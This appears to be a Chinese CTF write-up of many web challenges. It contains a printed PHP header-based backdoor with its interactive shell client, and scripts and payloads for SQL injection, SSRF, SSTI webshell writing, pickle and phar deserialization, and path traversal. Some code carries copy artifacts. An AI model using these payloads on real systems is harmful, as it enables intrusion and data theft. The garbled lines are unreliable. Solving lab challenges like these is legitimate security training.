题号会变动可能不太一样
有robots.txt存在 提示有(hint.php,Hack.php)
访问hint.php得到提示 配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
修改isLogin=1,登录成功(index.php,Hack.php都会有反应)
浏览器访问,直接改cookie
可能有目录遍历
根据提示尝试访问配置文件/etc/nginx/sites-enabled/site.conf
?file=…/./…/./…/./…/./etc/nginx/sites-enabled/site.conf&ext=
整理后的代码为
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d$k>");
@session_destroy();
}
}
}
}
根据网上的分析文章https://www.cnblogs.com/go2bed/p/5920811.html
直接利用其给出的脚本,修改一下 k h , kh, kh,kf,url即可
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:38921/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={
'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
扫了一下有/.git目录,用githack搞,看了一下源码没啥有用的东西,感觉应该还有个commit,直接用git_extract全搞下来
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
很明显的一个二次注入,category在从数据库中取出后没有进行addslashes过滤
发帖时在category处填',content=user(),/* 然后提交留言 */#
/**/形成多行注释 ,#把’,注释 等于说控制了content字段,去掉了其原有的引号,能直接进行mysql语句查询,刚好这也是是个回显位
下面要利用mysql的函数读文件,但并不知道flag文件在哪
读取/etc/passwd 看到/home/www下以bash身份运行
读取/bin/bash_history:',content=(select load_file('//home/www/.bash_history')),/*
Linux| 用户目录下三个bash文件的作用:
发现有删除.DS_Store文件的操作
查询.DS_Store文件:',content=(select hex(load_file('//tmp/html/.DS_Store'))),/*
直接读取显示不全用hex编码显示,得到flag文件路径
读取flag文件:',content=(select hex(load_file('//var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
最后得到flag
没啥头绪,只能从cookie:JSESSIONID 得知是tomcat服务器,javaweb要想办法读取配置文件web.xml,再抓一下get请求包,还是没头绪。。。,看了眼wp,js里藏着路径
目录遍历读文件
/loadimage?fileName=…/…/WEB-INF/web.xml
关于Struts2目录结构,截图自:https://www.cnblogs.com/mke2fs/p/11519039.html
参考链接:
https://blog.csdn.net/u010004082/article/details/79351459
https://www.cnblogs.com/pigtail/archive/2013/02/12/2910348.html
读取struts.xml文件 /loadimage?fileName=…/…/WEB-INF/classes/struts.xml
/loadimage?fileName=…/…/WEB-INF/classes/applicationContext.xml
把几个class下下来
/loadimage?fileName=…/…/WEB-INF/classes/com/cuitctf/action/AdminAction.class
jd-gui反编译打开
Sql(HSQL:https://www.cnblogs.com/fengyouheng/p/11013013.html)语句为
构造万能密码登录
?user.name=admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1
登录也没啥东西,AdminAction.class这有个列目录的
/list?pathName=/opt/tomcat/webapps/ROOT/WEB-INF/classes/com/cuitctf/po
看大佬wp说是个flag的映射类,感觉flag在数据库中,读取cfg.xml映射文件,确定flag在数据库中https://xz.aliyun.com/t/2405#toc-18
下面就是盲注了(脚本直接用的wp中的)
import requests
s=requests.session()
flag=''
for i in range(1,50):
p=''
for j in range(1,255):
payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://220.249.52.133:34528/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
flag+=p
print i,flag
break
p=chr(j)
点开直接看源码,区块链的题。。。。。。好复杂,写不明白还是挂个链接吧
参考链接
https://xuanxuanblingbling.github.io/ctf/web/2018/05/01/DDCTF2018-WEB4-%E5%8C%BA%E5%9D%97%E9%93%BE/
https://delcoding.github.io/2018/04/ddctf-writeup4/
https://xz.aliyun.com/t/2299
https://www.360zhijia.com/anquan/375753.html
根据题目描述进文档中心,点这个下载download.php
用winhex打开发现好像是个pdf
修改后缀名打开
题目考的应该和ssrf有关
python dirsearch.py -u"http://220.249.52.133:35081/" -e * 扫出来一个/secret
/secret/secret_debug.php
修改header后依旧无法访问,猜测后端使用 $_SERVER[REMOTE_ADDR]获取用户IP地址,那么只能利用/download页面发起请求
抓一下下载文档的包
有一个填空页面,提交后抓包,这里有时候输入点奇怪的东西就会报错,或者重复提交时,可能存在sql insert注入
所以应该要用到download的ssrf访问http://220.249.52.133:35081/secret/secret_debug.php
这里用/* */形成多行注释,这样的话txtLast_name对应字段的位置是没有单引号包裹的,然后在txtLast_name处回显,+ “&” 是为了让 .pdf 的后缀加在这以免影响ssrf(&a=1啥的都行,如果在url提交的话要进行一次urlencode)
import requests
import random
import urllib
url = 'http://220.249.52.133:35081/download.php'
# payload = "database()"
# payload = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# payload = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# payload = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
payload = "select value from cetcYssrf LIMIT 1"
id = random.getrandbits(16)
data = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "1','2',("+payload+"),'4'/*",
"txtmiddle_name": "2",
"txtLast_name": "3",
"txtname_suffix": "4",
"txtdob": "*/,'5",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")
r = requests.get(url, params={
"dl": data})
print(r.text)
只能用白名单里的函数,且因为黑名单限制不能包含’ ‘, ‘\t’, ‘\r’, ‘\n’,’’’, ‘"’, ‘`’, ‘[’, ‘]’ 这些字符,需要通过base_convert(10转到32进制),pi函数,异或等技巧,构造出函数名,payload长度不能超过80。
($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){
1})
getallheader()可以用来控制请求头,并且返回的是一个带键值的关联数组,因为[ ]被禁用,所以这里写了{1},{ }可以携带数字, 提交payload的时候需要在头部加上自定义头部1
1:cat flag.php
主要功能就是登陆注册,修改个人信息,能留言 然后可以关注别人
下载附件审计,先看路由 route.py
/index路由
不存在过滤 关键是结果直接回显
a','1','2020-7-20'),(Null,(select database()),'1','2020-7-20')#
最终Payload: a','1','2020-7-20'),(Null,(select flag from flag),'1','2020-7-20')#
无法登录
然后我新创建的用户反正除了这个admin1 都可以随便输一个密码就能登录了。。。。
这里应该也有一个盲注(数据库名是之前别的位置注入出来的)
admin1' or 1=(select database() = 'flask')#
(这个用户名要是刚才试过万能密码的那个,别的用户名不过表达式对错都会成功登录)
成功登录了,也就是说等式成立
Payload: admin1' or 1=(paylaod)#
追踪到forms.py,可以看到username这里有过滤,但email并没有
追踪到Others.py
在页面测试,可以进行盲注,如果正确就会回显Please use a different email address.
这里的邮箱需要之前已经注册过的
这里因为在payload处加了前缀后缀,为了邮箱正确就把email处参数值清空了
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 --dbs -v 4 --tamper=space2comment -csrf-token="csrf_token"
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 -D flask -T flag -C "flag" --dump -v 4 --tamper=space2comment -csrf-token="csrf_token"
note(页面上的About me)这里的过滤相对来说不严,有可乘之机
Sql语句基本就是update user set username=’admin’,note=’hello’ where id=1
这个样子
update user set username=’admin’,note=’1' and (select 1=1 ) and '1'='1’ where id=1
1' and (select 1=1 ) and '1'='1
的结果
1' and (select 1=2 ) and '1'='1
的结果
也就是可以利用这个进行布尔盲注
参考:https://www.guildhab.top/?p=2073
这题看似文件上传,其实主要是利用sql注入修改指定文件名再数据库中的后缀名为空
/www.tar.gz 下载源码审计
数据库的字段结构为
同时代码中由于白名单限制,所以无法上传恶意文件,由于版本限制也不能用%00截断,但有一个rename功能,只能修改文件名,但可以通过sql注入,影响其extension为空,再修改文件时加上.php后缀
新的文件名为test2.txt.txt 但数据库中经过update语句
update `file` set `filename`='test2.txt', `oldname`='',extension=’’ where `fid`={$result['fid']}"
filename为test2.txt的extension为空
修改文件名为test2.php 此时的$result[“extension”]已经通过注入变为空
import requests
for i in range(1,2000):
url = "http://220.249.52.133:50409/shop?page=%d" % i
r = requests.get(url)
ruselt = r.text
if 'lv6.png' in ruselt:
print(i)
break
无法sql注入 弱密码,尝试修改jwt https://jwt.io/ 这个网站能在线加密解密
可用看到alg": “HS256” 所以不能直接修改用户名 ,还需要密匙
https://github.com/brendan-rius/c-jwt-cracker 用工具跑出密匙为1Kun
在Admin.py找到了这个参数,被pickle.loads处理
pickle.loads(bytes_object) — 从 bytes 对象中读取一个反序列化对象,并返回其重组后的对象
搜一下相关漏洞https://www.cnblogs.com/Wanghaoran-s1mple/p/12753921.html
改一下命令跑出来修改become参数就行
/api /xxf 的ip地址都可以通过修改X-Forwarded-For改变,经过测试发现有Smarty模板注入
网上搜了篇Smarty SSTI的文章:https://www.freebuf.com/column/219913.html
{$smarty.version} 查看当前版本号
Smarty 3.1.30静态方法已经被删除,同时本题的环境为php7
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等
{if phpinfo()}{/if}
成功打出phpinfo
不能直接执行系统命令,而且路径被限制不能直接读文件,选择挂马
{
if file_put_contents('/var/www/html/shell.php',')}{
/if}
菜刀连接后用这篇文章的方法直接搞就行
https://www.freebuf.com/articles/web/192052.html
/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so
把另外三个js文件下下来,用sublime插件js format 整理下,找到相关函数
js太头疼了,具体过程看大佬博文https://blog.csdn.net/gonganDV/article/details/96285636
看wp说 /asserts/…%2f…%2f…%2f…%2f/etc/passwd目录穿越可以直接读文件,说实话这里我没想明白,这是怎么发现的
读取/etc/passwd 获得用户 这里应该是ctf或者root
读取/sys/class/net/eth0/address获取mac地址,再转成10进制
读取/proc/sys/kernel/random/boot_id 获得机器id
这里docker环境应该读取/proc/self/cgroup
下面根据这篇文章中的脚本算出pin码即可https://xz.aliyun.com/t/2553
算出来了但就是不对,也不知道是哪个信息出错了
瞎搞 直接读一下flag.txt 还真出来了
curl http://220.249.52.133:31780/asserts/…%2f…%2f…%2f…%2f/flag.txt
尝试注册的时候发现已经有个admin用户了,但看wp做下去也就是能读文件,这题还有个/flag 是假flag ciscn{this_is_a_sample_flag}
包里有composer.json 先composer install安装一下相关的包依赖(需要先安装composer)
安装完后项目根目录会有vendor文件夹 composer.lock文件。(因为网络问题一直没安装完。。。也就没composer.lock文件,后来换了阿里云的源才搞定,菜鸟教程那写着的国内源一直不行,不知道咋回事),安装完后才能得到完整源码,毕竟是用的laravel框架
php artisan route:list 查看一下已经定义的路由
因为我扫的时候看到一个upload 但自己注册的账户没有 这个功能 所以先去注册登录那看看怎么搞到admin账户,这里用户名是随便的,主要是邮箱地址
app/Http/Middleware/AdminMiddleware.php 找到admin用户邮箱
这里点击后会发送一个token到数据库
访问Illuminate\Foundation\Auth\SendsPasswordResetEmails;
再到\Illuminate\Contracts\Auth\PasswordBroker
改密码的时候也需要这个token
\database\migrations\2014_10_12_100000_create_password_resets_table.php
/app/Http/Controllers/NoteController.php 发现有一个sql注入
SELECT * FROM
notesWHERE
author='admin' or 1=1#'
通过恶意构造后 回显(正常是无回显的)
nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的
这里可以注入得到用户表中的密码,但是是经过加密处理的,无法解开还是搞不到密码
但可以通过这个sql注入搞到数据库中用来修改密码的token
test' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5#
flag | App\Http\Controllers\FlagController@showFlag 本来应该直接打印处flag的
Blade 视图文件使用 .blade.php 文件扩展并存放在 resources/views 目录下
但是还有一个上传功能,题目上传页面代码可通过file_exists(也就是页面中的check功能)使用phar://协议触发反序列化,用pop链删除这个编译后的模板文件
需要达成的条件:
find . -name "*.php" | xargs grep "__destruct"
vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
新建SwiftByteStream_TemporaryFileByteStream
类,将要删除的路径写入,生成phar文件,利用phar://伪协议访问该文件,反序列化结束时自动调用__destruct()也就调用了unlink函数删除文件。
下面就是找到缓存文件的路径
laravel视图缓存没有及时更新:
vendor/laravel/framework/src/Illuminate/View/Compilers/Compiler.php
编译后文件的路径由两部分构成第一部分是模板的绝对路径path,第二部分是是缓存路径,又因为缓存路径为/storage/framework/views/
根据sql注入那的提示,默认配置是最好的,得到path为/usr/share/nginx/html/resources/views/auth/flag.blade.php的sha1值
最终的路径为:
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
生成phar的脚本:https://github.com/CTFTraining/huwangbei_2018_easy_laravel
easy_laravel_exp_gen.php
然后去/files check一下 要更改path路径才能触发反序列化,存储的目录为storge/app/public
参考:
https://www.cnblogs.com/tr1ple/p/11044313.html
https://xz.aliyun.com/t/2912
https://www.dazhuanlan.com/2019/12/24/5e01ca0844f13/